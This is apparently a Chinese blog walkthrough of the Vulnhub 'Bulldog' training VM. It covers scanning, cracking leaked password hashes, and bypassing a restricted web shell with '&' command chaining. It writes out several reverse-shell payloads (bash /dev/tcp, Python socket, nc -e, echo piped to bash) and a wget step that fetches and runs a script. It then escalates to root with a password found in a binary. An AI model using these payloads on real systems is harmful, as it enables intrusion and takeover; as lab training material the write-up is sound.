banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

鬥牛犬-Vulnhub 逐步指南

靶機地址

工具及漏洞信息#

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • linux 反彈 shell
  • wget 文件下載
  • linux 下 string 命令
  • sudo -l 查看用戶可執行命令

** 部分工具的用法和詳細說明請參考此系列的第一篇文章:bossplayersCTF:1-Vulnhub Walkthrough **

0x00 信息收集#

掃描靶機信息#

netdiscover-r參數掃描192.168.1.0/16結果如下:

image

nmap掃描主機及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.158

image

WSGI:全稱是 Web Server Gateway Interface,WSGI 不是伺服器、python 模組、框架、API 或者任何軟體,只是一種規範,描述 webserver 如何與 web application 通信的規範。

掃描路徑#

dirb掃描路徑:

dirb http://192.168.1.158

image

使用dirsearch掃描出來的結果好像沒有dirb的全,當然也可能是字典原因

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

image

gobuster掃描也不給力:

gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

image

訪問路徑#

/admin目錄是個django的管理員登錄界面,常規的弱口令不管用

image

/dev界面上有一些開發人員的郵箱,用的都是公司的郵箱

image

查看網頁源碼可以看到一些用戶的密碼哈希值:

image

拿去常用的解密網站cmd5somd5解密

也可以使用國外批量破解hash網站hashkiller

但這網站需要開啟全局,你懂的

image

解密出兩對帳號密碼:nick/bulldogsara/bulldoglover

那個超明顯的web-shell按鈕跳轉到了dev/shell

但是界面提示需要認證:

image

這裡先不能做文章

0x01 獲取 shell#

目錄基本訪問完了,嘗試用我們解密得到的帳號密碼登錄/admin管理員界面

使用兩對帳號密碼登錄後的界面都提示沒有權限編輯任何東西

image

看起來毫無頭緒,但當你重新訪問原來提示你需要認證的/dev/shell界面時

它已悄然發生了變化

image

根據頁面提示,我們只能執行它列出來的幾個命令

但是我們可以使用 & 將多個命令進行拼接,那麼就可以繞過限制

接下來我們現在kali上監聽,然後嘗試幾種常用的shell反彈方式

nc -lvp 4444

1. 使用bash反彈

pwd&bash -i >& /dev/tcp/192.168.1.6/4444 0>&1

bash -i 表示產生一個 bash 的交互環境
0>&1 將標準輸入域標準輸出內容相結合,然後重定向給前面的標準輸出內容

實測沒有反彈成功

2. 使用python反彈

嘗試使用一句話pythonshell

pwd&python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

提示如下:

image

INVALID COMMAND. I CAUGHT YOU HACKER! ';' CAN BE USED TO EXECUTE MULTIPLE COMMANDS!!

;被過濾了,不能直接在交互的地方執行命令,那我們就把它放在腳本裡

python -c "import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.6",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);"

存為python-shell.py,移入apache2默認目錄/var/www/html

開啟apache2服務:service apache2 start

image

web-shell界面執行:

pwd&wget http://192.168.1.6/python-shell.py
pwd&python python-shell.py

我實測也沒有成功,但是大佬有成功的

3. 使用nc反彈 (需要靶機上有 nc)

nc -e /bin/bash 192.168.1.6 4444

4. 通過echo反彈 (成功)

echo 'bash -i >& /dev/tcp/192.168.1.6/4444 0>&1' | bash

image

0x02 提權 root#

發現 home 目錄下有一個 bulldogadmin,那麼優先查看這個目錄。結果執行 ls
命令時沒有發現任何東西,然後我執行了 ls -a,發現了隱藏的文件夾。

image

我們進入這個.hiddenadmindirectory文件夾,發現一個註釋文件:

image

file命令查看下這個用戶文件是啥:

image

發現是個ELF文件,ELF文件簡單來說就是 Linux 的主要可執行文件格式。

執行strings customPermissionApp,有很多的字符串,其中有一段引起了我的注意:

GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
        Usage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c

在我們的程序中,有一個用 “strings” 命令找到的硬編碼密碼。

假設 H 是行尾或某個末端的片段,那我們就得到了個密碼SUPERultimatePASSWORDyouCANTget

大膽猜測,這就是note裡面說的django用戶的密碼

根據我們上面掃描獲得的信息,ssh端口在 23,於是我們直接ssh連接:

ssh -p 23 django@192.168.1.8

image

連接後sudo su切換root用戶,只需要django用戶的密碼即可,成功get root shell

image

本文完。

參考文章:

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。